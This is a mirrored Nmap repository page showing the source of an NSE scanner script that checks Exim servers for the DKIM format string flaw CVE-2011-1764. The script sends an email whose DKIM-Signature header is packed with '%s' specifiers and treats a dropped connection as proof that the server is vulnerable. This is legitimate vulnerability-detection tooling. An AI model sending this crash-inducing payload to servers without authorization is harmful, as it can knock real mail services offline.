1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-09 06:01:28 +00:00
Files
nmap/scripts/smtp-vuln-cve2011-1764.nse
djalal 01f4cdd83e o [NSE] Small improvements on the smtp-vuln-cve2011-1764 script:
- Check the port.version.product in the portrule to see if it matches
    the 'Exim smtpd'
  - If the script was not able to confirm the vulnerability but the Exim
    version is between 4.70 and 4.75, then report: "LIKELY VULNERABLE".
2011-07-18 11:42:41 +00:00

207 lines
6.6 KiB
Lua

description = [[
Checks for a format string vulnerability in the Exim SMTP server with
DomainKeys Identified Mail (DKIM) support, version between 4.70 and 4.75.
The DKIM logging mechanism did not use format string specifiers when
logging some parts of the DKIM-Signature header field. A remote attacker
who is able to send emails, can exploit this vulnerability and execute
arbitrary code with the privileges of the Exim daemon (CVE-2011-1764).
Reference:
* http://bugs.exim.org/show_bug.cgi?id=1106
* http://thread.gmane.org/gmane.mail.exim.devel/4946
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2011-1764
* http://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
]]
---
-- @usage
-- nmap --script=smtp-vuln-cve2011-1764 -pT:25,465,587 <host>
--
-- @output
-- PORT STATE SERVICE
-- 25/tcp open smtp
-- | smtp-vuln-cve2011-1764:
-- | Exim version: 4.72
-- | Exim DKIM Signatures Format String (CVE-2011-1764):
-- |_ Exim (CVE-2011-1764): VULNERABLE
--
-- @args smtp.domain Define the domain to be used in the SMTP EHLO command.
-- @args smtp-vuln-cve2011-1764.mailfrom Define the source email address to
-- be used.
-- @args smtp-vuln-cve2011-1764.mailto Define the destination email address
-- to be used.
author = "Djalal Harouni"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}
require "shortport"
require "smtp"
require "stdnse"
portrule = function (host, port)
if port.version.product ~= nil and port.version.product ~= "Exim smtpd" then
return false
end
return shortport.port_or_service({25, 465, 587},
{"smtp", "smtps", "submission"})(host, port)
end
local function smtp_finish(socket, status, msg)
if socket then
socket:close()
end
return status, msg
end
local function get_exim_banner(response)
local banner, version
banner = response:match("%d+%s(.+)")
if banner and banner:match("Exim") then
version = tonumber(banner:match("Exim%s([0-9\.]+)"))
end
return banner, version
end
-- Sends the mail with the evil DKIM-Signatures header.
-- Returns true, true if the Exim server is vulnrable
local function check_dkim(socket, smtp_opts)
local killed = false
stdnse.print_debug(2, "%s: checking the Exim DKIM Format String",
SCRIPT_NAME)
local status, response = smtp.mail(socket, smtp_opts.mailfrom)
if not status then
return status, response
end
status, response = smtp.recipient(socket, smtp_opts.mailto)
if not status then
return status, response
end
status, response = smtp.datasend(socket)
if not status then
return status, response
end
local message = "MIME-Version: 1.0\r\n"
message = message..string.format("From: <%s>\r\nTo: <%s>\r\n",
smtp_opts.mailfrom,
smtp_opts.mailto)
message = message.."Subject: Nmap Exim DKIM Format String check\r\n"
-- use a fake DKIM-Signature header.
message = message.."DKIM-Signature: v=1; a=%s%s%s%s;"
message = message.." c=%s%s%s%s; q=dns/txt;\r\n"
message = message.." d=%s%s%s%s; s=%s%s%s%s;\r\n"
message = message.." h=mime-version:from:to:subject;\r\n"
message = message.." bh=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=;\r\n"
message = message.." b=DyE0uKynaea3Y66zkrnMaBqtYPYVXhazCKGBiZKMNywclgbj0MkREPH3t2EWByev9g="
status, response = socket:send(message.."\r\n")
if not status then
return status, "failed to send the message."
end
status, response = smtp.query(socket, ".")
if not status then
if string.match(response, "connection closed") then
stdnse.print_debug(2,
"%s: Exim server is vulnerable to DKIM Format String", SCRIPT_NAME)
killed = true
else
return status, "failed to terminate the message, seems NOT VULNERABLE"
end
end
return true, killed
end
-- Checks if the Exim server is vulnerable to CVE-2011-1764
local function check_exim(smtp_opts)
local out, smtp_server = {}, {}
local exim_ver_min, exim_ver_max = 4.70, 4.75
local cve = 'CVE-2011-1764'
local exim_dkim_str = "Exim DKIM Signatures Format String ("..cve.."):"
local exim_dkim_result
local socket, ret = smtp.connect(smtp_opts.host,
smtp_opts.port,
{ssl = true,
timeout = 10000,
recv_before = true,
lines = 1})
if not socket then
return smtp_finish(nil, socket, ret)
end
smtp_server.banner, smtp_server.version = get_exim_banner(ret)
if not smtp_server.banner then
return smtp_finish(socket, false,
'failed to read the SMTP banner.')
elseif not smtp_server.banner:match("Exim") then
return smtp_finish(socket, false,
'not a Exim server: NOT VULNERABLE')
end
if smtp_server.version then
if smtp_server.version <= exim_ver_max and
smtp_server.version >= exim_ver_min then
exim_dkim_result = string.format(" Exim (%s): LIKELY VULNERABLE", cve)
table.insert(out,
string.format("Exim version: %.02f", smtp_server.version))
else
return smtp_finish(socket, false,
string.format("Exim version %.02f is NOT VULNERABLE.",
smtp_server.version))
end
end
local status, response = smtp.ehlo(socket, smtp_opts.domain)
if not status then
return smtp_finish(socket, status, response)
end
-- set the appropriate 'MAIL FROM' and 'RCPT TO' values
if not smtp_opts.mailfrom then
smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain)
end
if not smtp_opts.mailto then
smtp_opts.mailto = string.format("postmaster@%s",
smtp_opts.host.targetname and
smtp_opts.host.targetname or 'localhost')
end
status, ret = check_dkim(socket, smtp_opts)
if not status then
return smtp_finish(socket, status, ret)
elseif ret then
exim_dkim_result = string.format(" Exim (%s): VULNERABLE", cve)
elseif not exim_dkim_result then
return smtp_finish(socket, false, 'Exim server seems NOT VULNERABLE.')
end
table.insert(out, exim_dkim_str)
table.insert(out, exim_dkim_result)
return smtp_finish(socket, true, out)
end
action = function(host, port)
local smtp_opts = {
host = host,
port = port,
domain = stdnse.get_script_args('smtp.domain') or
'nmap.scanme.org',
mailfrom = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailfrom'),
mailto = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailto'),
}
local status, output = check_exim(smtp_opts)
if not status then
stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, output)
return nil
end
return stdnse.format_output(status, output)
end